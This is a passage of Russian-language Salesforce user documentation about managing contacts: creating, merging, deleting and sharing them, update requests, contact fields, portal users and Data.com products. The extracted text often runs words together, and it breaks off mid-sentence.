Запросы об обновлении контактов позволяют быстро и просто получать обновленные данные о контактах и
организациях-лицах.

Рекомендации по изменению организации для контактов
Ниже перечисленыфакторы, которые следует принять во внимание при изменении организации, связанной с
контактом.
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Объединение повторяющихся контактов
Повторяющиеся контакты, связанные с одной организацией, можно объединить. Это обеспечивает упорядочивание
и актуальность данных.

Отображение и просмотр схемы организации контакта
Дляотображениясведенийосотрудникахкомпанииконтакта в Salesforceиспользуетсяиерархичнаясхема, содержащая
все контакты в организации. Это помогает планировать стратегию продаж.

Рекомендации по удалению контактов
Большинство контактов можно удалить однимщелчком мыши. Ниже приведены сведения о том, кто может удалить
контакты и что происходит с записями, связанными с удаленными контактами.

СМ. ТАКЖЕ:

Что такое организация-лицо?

Социальные организации, контакты и интересы

Управление электронной почтой и шаблонами в Lightning Experience

Управление рабочими процессами и просмотр прошлых действий в Lightning Experience

Рекомендации по созданию контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Ниже приведеныфакторы, которые следует принять во внимание при создании
контактов.

• Создание контактов доступно в нескольких разделах Salesforce.

– Создание контакта на странице сведений организации.

– Импортируйте контакт с мобильного устройства с помощью приложения
Salesforce1.

– Создание контакта в разделе «Контакты».

Прим.: Если при создании контакта таким способом не указываются
сведения об организации, контакт получит статус «Личный».

• Чтобы автоматически связать контакт с организацией, создайте контакт на странице сведений об организации.

• Если организация Salesforce использует типы записей, то при создании контакта пользователям может предлагаться
выборзначениявполе «Тип записи». Доступныеполяизначенияраскрывающихсясписковопределяютсявыбранным
типом записи.

• Есливорганизации Salesforce включенаподдержкаподразделений, топодразделениюновогоконтакта автоматически
назначается подразделение связанной организации.
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• Всегда закрепляйте контакты за конкретной организацией, за исключением особых случаев. Контакты, не связанные
сорганизациями, скрытыотвсехпользователей, заисключениемответственноголицаиадминистратора, чтозатрудняет
поиск и использование.

СМ. ТАКЖЕ:

Контакты

Создание записей

Импорт списков контактов с мобильного устройства в систему Salesforce

Поля контактов

Предоставление общего доступа к контактам

Ограничения контактов

Рекомендации по просмотру и редактированию контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра контактов:
• «Чтение» для контактов

Для создания контактов:
• «Создание» для

контактов

Для просмотра и управления контактами используется начальная страница контактов.

• Организации-лица не отображаются в списке «Недавно просмотренные» на
начальной странице контактов.

• В Salesforce Classic доступна печатная версия списка. Версию для печати можно
сохранить в формате PDF.

• Организация-лицо, имя которой выбрано в списковом представлении контактов,
отображается на вкладке «Организации».

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление из раскрывающегося списка. Версии Professional Edition, Enterprise
Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют расширить
уровень доступа к контактам, установленный моделью общего доступа. .

Если вы используете Salesforce Classic, выполните следующие действия.

– Чтобы создать настраиваемоепредставление, щелкните ссылку «Создатьновое
представление».

– Чтобы изменить или удалить любое созданное представление, выберите его в
раскрывающемся списке «Просмотр» ищелкните ссылку «Правка».

• Чтобы упростить поиск организаций-лиц, создайте настраиваемое списковое
представление и добавьте значок «Является организацией-лицом» в качестве столбца.

• Чтобы добавить контакты в кампанию в Salesforce Classic, установите флажок напротив нужных контактов и нажмите
кнопку «Добавить в кампанию». Чтобы выбрать все записи, установите флажок в заголовке столбца.

СМ. ТАКЖЕ:

Контакты

Рекомендации по изменению организации для контактов

Предоставление общего доступа к контактам

Запрос на предмет использования партнерами системы Salesforce

Организации
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Обновление контактов посредством запросов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки запросов об
обновлении:
• «Отправка запросов об

обновлении контактов»

И

«Отправка эл. почты»

Запросы об обновлении контактов позволяют быстро и просто получать обновленные
данные о контактах и организациях-лицах.

Запрособобновленииможноотправитьследующимтипамконтактов, еслиунихимеется
действующий адрес эл. почты.

• Собственные контакты

• Контакты, связанные с собственными организациями

• Контакты, доступныедляредактированияв соответствиисправиломобщегодоступа
или в результате предоставления общего доступа вручную

• Собственные организации-лица

1. Настраницесведенийоконтактеилиорганизации-лице, нажмитекнопку«Запросить
обновление».

Всоответствиисзаданнымипараметрамиобновленияконтактов, создаетсяисходящее
сообщение эл. почты.

2. При необходимости измените сведения, указанные в сообщении эл. почты.

Прим.: Функция проверки орфографии поддерживает не все языки,
используемые в системе Salesforce. Например, функцияпроверкиорфографии
не поддерживает тайский и русский языки, а также некоторые языки с
двухбайтовой кодировкой символов (японский, корейский и китайский).

3. Нажмите кнопку «Отправить». Отправка отдельных запросов об обновлении контактов доступна независимо от
параметра получателя «Без рассылки по эл. почте».

Чтобыобновитьконтактныеданныеилиподтвердитьтекущиеданные, получательсообщениявыбираетсодержащуюся
в нем ссылку. Отправитель запроса получает электронное уведомление.

4. Чтобы обновить, просмотреть, принять или отклонить новые данные, воспользуйтесь ссылкой в сообщении эл.
почты.

СМ. ТАКЖЕ:

Использование ответов по обновлению контактов для обновления сведений о контактах

Использование пакетных запросов об обновлении контактов для запроса обновленной контактной информации от
нескольких людей

Отображение и просмотр схемы организации контакта

Рекомендации по изменению организации для контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Ниже перечисленыфакторы, которые следует принять во внимание при изменении
организации, связанной с контактом.

Прим.: Если контакту назначена родительская организация, а единому
стандартному параметру задано значение «Контролируется родительским
объектом», торедактированиеконтактадоступнотолькоприналичииполномочия
«Редактирование» для организации.
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• Организацию, связаннуюсконтактом, можноизменитьприсоблюденииодногоизнижеперечисленныхтребований.

– Наличиедоступакконтактуиответственностизацелевуюорганизациюиливышестоящейролинадответственным
в иерархии ролей.

– Наличие ответственности за контакт или доступа к контакту и целевой организации.

– Статус администратора.

Если данные условия не выполняются, обратитесь к администратору с просьбой изменить организацию, связанную
с контактом.

• Ниже перечислены действия, выполняемые при изменении поля «Имя организации».

– Обращения и возможности, связанные с контактом, остаются связанными с предыдущей организацией и не
переносятся в новую организацию.

– Новые обращения и возможности, созданные для контакта, связываются с новой организацией.

При изменении информации о контактах, поддерживающих возможность использования порталов, см. следующие
рекомендации.

СМ. ТАКЖЕ:

Контакты

Предоставление общего доступа к контактам
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Объединение повторяющихся контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Клиентский портал
доступен в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Партнерский портал
доступен в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для объединения контактов:
• «Удаление» для

контактов

Для объединения контактов,
поддерживающих
возможность использования
клиентского портала:
• «Удаление» для

контактов

И

«Редактирование
пользователей портала
самообслуживания»

Для объединения контактов,
поддерживающих
возможность использования
партнерского портала:
• «Удаление» для

контактов

И

«Управление
партнерами»

Повторяющиеся контакты, связанные с одной организацией, можно объединить. Это
обеспечивает упорядочивание и актуальность данных.

1. Нажмите кнопку «Объединить контакты» в связанном списке организации
«Контакты».

2. Установитефлажкинапротивнужныхконтактов (неболее трех). Чтобыпросмотреть
полный список связанных контактов, нажмите кнопку «Все контакты». Чтобы
уменьшить количество отображаемых результатов, выполните поиск по списку
связанных контактов. Для продолжения нажмите кнопку «Далее».

3. Выберите один контакт в качестве основной записи.

4. Выберите нужного пользователя партнерского или клиентского портала. Данный
параметр доступен только в том случае, если в организации включена поддержка
партнерского или клиентского портала. Если объединенный контакт не должен
содержать пользователя портала, установите переключатель «Не является
пользователем портала».

5. Выберите нужные поля в каждой записи. В случае конфликта данных, поля в левом
столбце выбираются автоматически, а строка выделяется сиреневым цветом.

6. Нажмите кнопку «Объединить».

Как данное действие выполняется на практике: Порядок объединения контактов в
системе Salesforce

СМ. ТАКЖЕ:

Рекомендации по объединению повторяющихся контактов

Рекомендации по объединению контактов, связанных с пользователями портала

Использование ответов по обновлению контактов для обновления сведений о
контактах

Включение клиентского портала для контактов и организаций-лиц
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Отображение и просмотр схемы организации контакта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра схемы
организации:
• «Чтение» для контактов

Для изменения схемы
организации:
• «Редактирование» для

контактов

Для отображения сведений о сотрудниках компании контакта в Salesforce используется
иерархичнаясхема, содержащаявсе контактыворганизации. Этопомогаетпланировать
стратегию продаж.

1. Чтобы отобразить схему организации контакта, введите имя менеджера контакта в
поле «Подчиненный» записи контакта.

2. Сохраните внесенные изменения.

3. Чтобы просмотреть схему организации контакта, щелкните ссылку «[Просмотр
схемы организации]» в записи контакта.

Прим.: Чтобы просмотреть полную схему организации, убедитесь, что поле
«Подчиненный» каждогоконтактаорганизациисодержитдругойконтакт. (Контакт,
расположенный на верхнем уровне схемы организации, является исключением.)
Есликонтактне являетсяничьимподчиненным, в схемеорганизацииотображается
только один сотрудник, независимо числа контактов, связанных с организацией.

СМ. ТАКЖЕ:

Контакты

Обновление контактов посредством запросов

Рекомендации по удалению контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Большинство контактов можно удалить однимщелчком мыши. Ниже приведены
сведения о том, кто может удалить контакты и что происходит с записями, связанными
с удаленными контактами.

Совет: Если нет необходимости, мы рекомендуем деактивировать, а не удалять
контакты. Это обеспечивает точность архивных записей.

• Удаление контакта доступно администратору, ответственному или его менеджеру в
иерархии ролей организации, а также пользователям с соответствующим
полномочием. Если вы соответствуете этим требованиям, на странице сведений о
контактеив строке соответствующегосписковогопредставлениябудетотображаться
кнопка «Удалить».

• Приудаленииконтакта эти связанные записитакжебудут удалены. Дляих удаленияне требуютсяособыеполномочия.

– Активы без обращений

– Вложения

– Журнал кампании

– События

– Примечания

– Задачи

Организации, права и возможности, связанные с контактом, сохраняются.

• Удаленныйконтактперемещается в корзину. Отмена удаления восстанавливает все связанные записи, включаяимена
пользователей портала самообслуживания.
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• При удалении основного контакта действия роль нового основного контакта автоматически назначается другому
контакту. Чтобы вручную выбрать другой основной контакт, рекомендуем изменить действие.

• Нельзя удалить контакты, связанные с записями следующих типов.

– Активы с обращениями

– Обращения

– Контракты

– Пользователи-партнеры

– Сервисные контракты

– Активные пользователи портала самообслуживания

– Активные пользователи клиентского портала

СМ. ТАКЖЕ:

Удаление записей

Предоставление общего доступа к контактам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Предоставление общего доступа к контактам облегчает сотрудничество между
сотрудниками группы сбыта.

Дляполученияобщегодоступак контактамупользователядолжныиметьсяполномочия
на чтение контактов. Припредоставленииобщего доступа к записи контакта, с которой
связанаорганизация, общийдоступкорганизациипредоставляется толькоприналичии
у пользователя полномочий доступа к записям организаций.

1. Нажмите кнопку «Общий доступ» на странице сведений о записи.

Страница «Сведения об общем доступе» содержит список пользователей, групп,
ролей и территорий, имеющих общий доступ к контакту.

Прим.: Кнопка «Общий доступ» недоступна, если единому стандартному
параметру для контактов задано значение «Контролируется родительским
объектом».

2. Ниже перечислены действия, доступные на странице «Сведения об общем доступе».

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное представление в раскрывающемся
списке «Просмотр» илищелкните ссылку «Создать новое представление» для разработки собственных
настраиваемых представлений.

• Чтобыизменитьилиудалитьлюбоесозданноепредставление, выберитееговраскрывающемсясписке «Просмотр»
ищелкните ссылку «Правка».

• Чтобы просмотреть всех пользователей, имеющих доступ к записи, нажмите кнопку «Развернуть список».

• Чтобы предоставить другим пользователям, группам, ролям или территориям доступ к записи, нажмите кнопку
«Добавить».

• Чтобыизменитьилиудалитьуровеньдоступа, щелкнитессылку«Правка»или«Удал.»напротивнужногоэлемента
списка при использовании созданных правил общего доступа, предоставляемого вручную.
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3. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Контакты

Рекомендации по просмотру и редактированию контактов

Рекомендации по изменению организации для контактов

Ограничения контактов

Поля контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Ниже перечислены поля, доступные в контактах. Доступность полей определяется
настройками Salesforce.

ОписаниеПоле

Организация, связанная с контактом.
Введите имя организации, выберите ее
списка или создайте новую. Для частных
контактов организация не указывается.

Имя организации

Разрешение доступа к клиентскому
порталу позволяет избранным контактам

Разрешить самостоятельную регистрацию
на клиентском портале

осуществлять самостоятельную
регистрацию.

Ассистентконтакта. Неболее 40 символов.Ассистент

Номер телефона ассистента. Не более 40
символов.

Тел. ассистента

День рождения контакта. Щелкните поле
и выберите дату в календаре.

Дата рождения

Стандартная валюта для всех полей
валюты в контакте. Стоимость

Валюта контакта

отображается в валюте контакта, а также
преобразуется в личную валюту
пользователя. Атрибут становится
доступен, если используются нескольких
валют.

Подразделение, к которому относится
контакт. Значение данного поля
наследуется от связанной организации.

Атрибут становится доступен при
использовании подразделений для
сегментации данных.

Подразделение контакта

Назначенный ответственный за контакт
Недоступно в версии Personal Edition.

Ответственный за контакт
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ОписаниеПоле

Имяполя, котороеопределяет значенияраскрывающегося
списка, доступныедля записи. Доступнов версиях Enterprise
Edition, Unlimited Edition, Performance Edition и Developer Edition.

Тип записи контакта

Пользователь, создавший контакт. Включает в себя дату и
время создания контакта. Только для чтения.

Создано

Список настраиваемых ссылок для контактов, заданных
администратором.

Настраиваемые ссылки

Связанное подразделение организации. Не более 80
символов.

Отдел

Описание контакта. Не более 32 КБ данных. В отчетах
отображаются только первые 255 символов.

Описание

Адрес эл. почтыконтакта. Требуется действительныйадрес
электронной почты. Не более 80 символов.

Чтобыотправитьсообщениеэл. почтыспомощьюличного
почтовогоприложения, щелкнитеадрес эл. почтывданном

Эл. почта

поле. Действие не регистрируется в журнале записи
контакта.

Если в организации включена служба «Кнопки и ссылки
Gmail», щелкните ссылку Gmail напротив данного поля,
чтобы отправить сообщение эл. почты из аккаунта Gmail.

Номер факса контакта. Не более 40 символов.Факс

Личное имя контакта, отображаемое на странице
редактированиясведенийоконтакте. Неболее 40 символов.

Личное имя

Личное имя контакта, переведенное на родной язык.Личное имя (на родном языке)

Номер домашнего телефона контакта. Не более 40
символов.

Дом. тел.

Пользователь, которыйизменялполяконтактапоследним,
а такжедатаивремяизменения. Данноеполенеотслеживает

Последнее изменение сделано

изменения, внесенныевлюбыеэлементысвязанногосписка
контакта. Только для чтения.

Фамилия контакта, отображаемая на странице
редактированиясведенийоконтакте. Неболее 80 символов.

Фамилия

Фамилия контакта, переведенная на родной язык.Фамилия (на родном языке)

Дата отправки последнего запроса об обновлении
контактов.

Дата последнего запроса об обновлении контактов

Дата последнего объединения контактов, полученных в
результате отправки запроса об их обновлении.

Дата последнего сохранения обновления контактов
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ОписаниеПоле

Источник записи: например, реклама, партнер или
Интернет. Источник выбирается из раскрывающегося

Источник интереса

списка доступных значений, заданных администратором.
Не более 40 символов на каждое значение из
раскрывающегося списка.

Часть почтового адреса: город. Не более 40 символов.Город в почтовом адресе

Город, указываемый в почтовом адресе. Не более 80
символов.

Страна в почтовом адресе

Часть почтового адреса: название области илиштата. Не
более 80 символов.

Область/штат в почтовом адресе

Часть почтового адреса: улица. Не более 255 символов.Улица в почтовом адресе

Часть почтового адреса: почтовый индекс. Не более 20
символов.

Индекс в почтовом адресе

Отчество контакта, отображаемое на странице
редактированиясведенийоконтакте. Неболее 40 символов.

Чтобы включить данное поле, обратитесь в службу
поддержки Salesforce. Введите строку «Пользовательский

Отчество

интерфейс» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Пользовательский интерфейс».
Выберите параметр «Включить отчества для имен
пользователей».

Отчество контакта, переведенное на родной язык.

Чтобы включить данное поле, обратитесь в службу
поддержки Salesforce. Введите строку «Пользовательский

Отчество (на родном языке)

интерфейс» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Пользовательский интерфейс».
Выберите параметр «Включить отчества для имен
пользователей».

Номер мобильного телефона контакта. Не более 40
символов.

Мобильный тел.

Личное имя, отчество (бета-версия), фамилия и суффикс
(бета-версия) контакта, отображаемые на странице
редактирования сведений о контакте.

Имя

Часть дополнительного адреса: город. Не более 40
символов.

Другой город

Город в дополнительном адресе контакта. Значение
выбирается из раскрывающегося списка стандартных

Другая страна

значений или вводится как текст. Максимальная длина
текстового поля — 80 символов.
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ОписаниеПоле

Область или штат в дополнительном адресе контакта.
Значение выбирается из раскрывающегося списка

Другие область/штат

стандартных значений или вводится как текст.
Максимальная длина текстового поля — 80 символов.

Часть дополнительного адреса: название улицы. Не более
255 символов.

Другая улица

Частьдополнительногоадреса: почтовыйиндекс. Неболее
20 символов.

Другой почтовый индекс

Дополнительный номер телефона контакта. Не более 40
символов.

Другой тел.

Номеросновноготелефонаконтакта. Неболее 40 символов.Тел.

Имя менеджера контакта. Введите имя контакта или
выберите его из списка.

Подчиненный

Приветствие при обращении к контакту (например,
господин, госпожа, профессор). Запись выбирается из

Приветствие

раскрывающегося списка доступных значений, заданных
администратором. Не более 40 символов.

Суффикс имени контакта, отображаемый на странице
редактированиясведенийоконтакте. Неболее 40 символов.

Чтобы включить данное поле, обратитесь в службу
поддержки Salesforce. Введите строку «Пользовательский

Суффикс

интерфейс» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Пользовательский интерфейс».
Выберите параметр «Включить отчества для имен
пользователей».

Должность контакта, которую он занимает в своей
организации. Не более 80 символов.

Должность

Только для контактов портала самообслуживания. По
умолчаниюполе «Имя пользователя» содержит значение

Имя пользователя

поля «Эл. почта». Привходенапорталсамообслуживания
контакт должен указывать свое имя пользователя.

Прим.: Начиная с выпуска Spring'12 портал
самообслуживания недоступен для новых
организаций. Текущие организации могут
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ОписаниеПоле

использовать портал самообслуживания в обычном
режиме.

СМ. ТАКЖЕ:

Рекомендации по созданию контактов

Рекомендации по изменению организации для контактов

Использование ответов по обновлению контактов для обновления сведений о
контактах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Используйте электронный ответ по обновлению контактов для обновления записи
контакта.

1. В полученном ответном сообщении электронной почты перейдите по ссылке
«Обновить сейчас».

2. Просмотрите новые и исходные значения.

3. Щелкните«Принятьизменения», чтобысохранитьновыеданные, или«Отклонить
изменения», чтобы пропустить обновления и сохранить исходные значения.

СМ. ТАКЖЕ:

Обновление контактов посредством запросов

Редактирование параметров обновления контактов

Использование пакетных запросов об обновлении контактов для запроса обновленной контактной информации от
нескольких людей
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Использование пакетных запросов об обновлении контактов для запроса обновленной
контактной информации от нескольких людей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки запросов на
пакетное обновление
контактов:
• «Отправка эл. почты»

И

«Отправка запросов об
обновлении контактов»

Чтобы запросить обновленную информацию сразу от нескольких контактов или
организаций-лиц, воспользуйтесьмастеромпакетныхзапросовобобновленииконтактов.

1. Перейдите по ссылке «Пакетное обновление контактов» в разделе «Сервис» на
начальной странице «Контакты». При использовании организаций-лиц Salesforce
данная ссылка также отображается на начальной странице вкладки «Организации».

2. Выберите нужное списковое представление контактов и организаций-лиц. Также
можно редактировать списковые представления и создавать их непосредственно
отсюда.

3. Нажмите кнопку «Начать».

4. Выберите отдельные лица для отправки запроса.

Для выбора доступны только записи с адресами электронной почты. Записи,
помеченныефлажком «Без рассылки по эл. почте», неотображаютсявсписковом
представлении, так как не поддерживают пакетные электронные рассылки.

5. Нажмите кнопку «Далее».

6. Просмотритетекст электроннойрассылки. Принеобходимостиизменитепараметры
запросов об обновлении контактов.

7. Нажмите кнопку «Отправить».

Когда получатели отправят актуальные сведения, с помощью ссылки в их ответах выполните обновления в записях
контактов.

СМ. ТАКЖЕ:

Обновление контактов посредством запросов

Использование ответов по обновлению контактов для обновления сведений о контактах

Редактирование параметров обновления контактов

Рекомендации по изменениюорганизаций для контактов, имеющих доступ к порталам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Ниже приведены основные факторы, которые следует принять во внимание при
изменении организаций для контактов, имеющих доступ к порталам.

• Внешним пользователям доступны собственные обращения и возможности из
предыдущих организаций.

• Контакты, которым предоставлен доступ к партнерскому порталу, могут быть
перенесенытольков теорганизации, длякоторыхвключенаподдержкапартнерского
портала.

• Чтобы соответствовать имени целевой организации, роли контактов на портале
обновляются автоматически (кроме пользователей массового портала, которые не имеют ролей). Например, роль
«Пользователь-клиент организации A» становится ролью «Пользователь-клиент организации В», так как имя роли
содержит имя связанной организации. Роли портала уникальны для каждой организации Salesforce и расположены в
иерархии ролей под ролью ответственного за организацию.
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• При переносе пользователей портала в другую организацию их роли обновляются и выполняются следующие
действия:

– Возможности каждой организации Salesforce пересчитываются посредством иерархии прогнозов организации.

– Возможности, принадлежавшие пользователю партнерского портала, не переносятся в новую организацию.

• Делегированные администраторы пользователей партнерского портала и делегированные администраторы
пользователей клиентского портала могут обновлять пользователей портала в целевых организациях.

СМ. ТАКЖЕ:

Включение клиентского портала для контактов и организаций-лиц

Включение функций самообслуживания для контактов и организаций-лиц

Ограничения контактов

Рекомендации по объединению повторяющихся контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Клиентский портал
доступен в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Партнерский портал
доступен в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ниже приведены рекомендации по объединению повторяющихся контактов.

• Связанные элементыповторяющегося контакта (например возможностии сведения
об обращении) связываются с объединенным контактом.

• Удаленные повторяющиеся записи перемещаются в корзину.

• Поле «Создано» объединенногоконтактаотображаетдату созданиясамогодавнего
контакта, а поле «Изменено» — дату объединения.

• Объединение контактов не отслеживается в контрольном журнале настройки.

• Объединенныйконтакт добавляется в любуюгруппу, работающуюсобращениями,
где контакты были связаны.

• Основной контакт заменяет повторяющиеся контакты во всех запрошенных и
запланированныхконференциях, гдеонибылиприглашены. Чтобыдобавитьновый
основной контакт в список приглашенныхна конференцию, внесите необходимые
изменения на странице сведений о событии и нажмите кнопку «Добавить к
приглашенным».

• Все сообщения конференции, добавленные повторяющимися контактами,
автоматически связываются с основным контактом. (Сообщения конференции
отображаются на веб-странице запрошенной конференции и доступны всем
приглашенным пользователям.)

• Любые данные в скрытых полях или полях, доступных только для чтения, извлекаются из основной записи. Однако
администраторыипользователисполномочием «Редактированиеполейтолькодлячтения» могут вручнуювыбирать
поля, доступные только для чтения, которые должны быть сохранены.

• При объединении повторяющихся контактов, являющихся участниками разных кампаний, дата, указанная в поле
кампании «Обновление статуса участника», сохраняется и связывается с объединенным контактом.

• Прежде чем объединить контакты, имеющие активные имена пользователей на портале самообслуживания,
рекомендуемдеактивироватьодноизимен. Вобъединеннойзаписибудетиспользоваться активноеимяпользователя
напорталесамообслуживания. Дополнительнуюинформациюополеименипользователяпорталасамообслуживания
см. в разделе «Поля контактов».

• При объединении контактов, связанных посредством поля «Подчиненный», объединенный контакт сохраняет
значение поля «Подчиненный», заданное в выбранной основной записи.
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• Общийдоступкорганизацииидоступкосновномуконтакту, предоставленныйвручную, применяетсякобъединенному
контакту.

Рекомендации по объединению контактов, связанных с пользователями портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Клиентский портал
доступен в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Партнерский портал
доступен в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ниже перечисленные основные факторы, которые следует принять во внимание при
объединении контактов, связанных с пользователями портала.

• Контакты портала могут быть объединены друг с другом.Например, пользователь
может объединить контакты, поддерживающие использование:

– партнерского портала с контактами, поддерживающими использование
клиентского портала, или наоборот;

– партнерского или клиентского портала с контактами, которые не поддерживают
использование портала.

• Перед объединением контактов, включающих пользователей партнерского и
клиентского порталов, рекомендуем выбрать тип пользователя портала, который
должен быть сохранен. Несохраненный пользователь портала будет отключен.
Контакту, удаленному в процессе объединения, может быть предоставлен доступ к
порталу после объединения контактов.

• Пользователи портала, отключенные в процессе объединения, остаются
ответственными за любые принадлежащие им записи.Например, отключенный
пользователь портала, который несет ответственность за обращение, остается
ответственным за это обращение до тех пор, пока оно не будет назначено новому
ответственному.

• Контакты, связанные с различными организациями, можно объединять посредством переноса нужных контактов в
одну организацию и последующего объединения контактов, связанных с одной организацией.

СМ. ТАКЖЕ:

Рекомендации по объединению повторяющихся контактов

Импорт списков контактов с мобильного устройства в систему Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Использованиеприложения Salesforce1дляимпорта контактов смобильногоустройства
в систему Salesforceпозволяет экономить время и избежать ошибок. Данный компонент
доступен только в загружаемых приложениях Salesforce1.

1. Перейдите в раздел Salesforce1 для создания контактов.

2. Коснитесь кнопки «Импорт с устройства», чтобы открыть список контактов на
устройстве.

3. Выберите контакт.

4. Чтобы связать контакт с организацией в системе Salesforce, перейдите к записи
контакта в Salesforce и добавьте организацию.

При импорте контактов с мобильного устройства эти поля соотносятся со сведениями о контакте Salesforce.

• Эл. почта

• Дом. тел.
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• Город в почтовом адресе

• Страна в почтовом адресе

• Почтовый индекс

• Область в почтовом адресе

• Улица в почтовом адресе

• Мобильный тел.

• Другой тел.

• Тел.

Прим.: Иногдаприсоотнесенииполейконтактовсмобильногоустройства с записямиконтактовв Salesforce1могут
происходить ошибки.

СМ. ТАКЖЕ:

Создание записей

Ограничения контактов
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Получайте высококачественные данные там, где это нужно при помощи
Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Лицензия Data.com
Prospector доступна в
версиях: Contact Manager
(без объекта «Интерес»),
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Лицензия на функцию
«Data.com Clean» доступна
в версиях: Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Data.com Social Key
доступно по лицензии
Data.com Clean в
следующих версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Высоконадежныеданныеявляются ключевымидля успехабизнеса. Когдаданныеимеют
высокое качество, это означает, что ваши записи полны и соответствуют текущей
действительности; это означает, что у вас есть нужные связи в организациях, в которых
вы заинтересованы; и еще это означает, что у вас есть достаточно информации, чтобы
закрывать сделки и расширять бизнес. Говоря кратко, высококачественные данные
позволяют вам понимать, адаптировать, сосредотачиваться и исполнять задачи с
хирургическойточностью. Data.comпредлагаетнаборпродуктов, предназначенныхдля
того, чтобы оснастить ваш бизнес необходимыми ему высококачественными данными
тогда, когда это нужно. Время, сэкономленное таким образом на вводе и обновлении
данных, может использоваться для развития бизнеса.

Бесплатная версия Data.com доступна всем организациям Salesforce и поддерживает
перечисленные ниже функции.

• Администраторыорганизаций, использующихверсию Professional Edition илиболее
позднюю, могутиспользоватьинструментыуправленияповторамидляопределения
необходимости создания повторяющихся записей в системе Salesforce.
Администраторымогутнастраиватьлогику, используемуюдляопределенияповторов,
атакжесоздаватьотчетыпоповторам, которыемогутбытьсохраненыпользователями.

• Все пользователи могут выполнять поиск по полной базе организаций и контактов
Data.com. Тем не менее, пользователи бесплатной версии не могут просматривать
номера телефонов и адреса эл. почты контактов, бизнес-карточки организаций и
данные D&B дляорганизаций, а такжедобавлять записив систему Salesforceиочищать
записи. Чтобы получить доступ ко всем данным Data.com, приобретите лицензии
Data.com и настроить соответствующиефункции.

Набор продуктов Data.com включает Data.com Prospector и Data.com Clean.

Прим.: Ворганизациях с версией Performance Edition пользователи автоматически
получают Data.com Corporate Prospector и Data.com Corporate Clean. За
дополнительнуюплату пользователимогут повысить версии доData.com Premium
Prospector и Data.com Premium Clean.

Data.com Prospector

Используйте Data.com Prospector для поиска ценных сведений о компаниях по базе данных D&B и миллионам
общедоступных контактов. Данные записи могут быть добавлены в систему Salesforce в качестве новых организаций,
контактов и интересов или экспортированы в другие приложения. Данный продукт позволяет быстро получать
данные, необходимые для планирования территорий сбыта, сегментирования кампаний, поиска новых организаций
и расширения корпоративной сети продаж.

Data.com Clean

Функция Data.com Clean поддерживает разные способы обновления CRM-записей Salesforce за счет использования
сведений о компаниях D&B и миллионов общедоступных контактов. Продукт Data.com Clean доступен в двух версиях:
Corporate Clean и Premium Clean. Данныеверсииотличаютсяполями D&B, доступнымиприочистке записейорганизаций
или интересов.
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Data.com Social Key

ФункцияData.com Social Keyподдерживаетфункции «Социальныеорганизациииконтакты» иData.com Clean, позволяя
упроститьотслеживаниеконтактовиинтересов в системе Salesforceилисоциальныхсетях. Функция Social Keyдоступна
организации только при наличиифункции Data.com Clean.

СМ. ТАКЖЕ:

Data.com Clean

Поиск новых компаний, контактов и интересов непосредственно в Salesforce

Как определить продукт Data.com, используемый в организации?

Какой продукт должна использовать моя организация для очистки записей организаций, контактов и интересов?

http://www.salesforce.com/crm/data-editions-pricing/

Data.com Prospector

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ИспользуйтеData.com Prospectorдляпоискаценныхсведенийокомпанияхпобазеданных
D&B и миллионам общедоступных контактов. Данные записи могут быть добавлены в
систему Salesforce в качестве новых организаций, контактов и интересов или
экспортированы в другие приложения. Данный продукт позволяет быстро получать
данные, необходимыедляпланированиятерриторийсбыта, сегментированиякампаний,
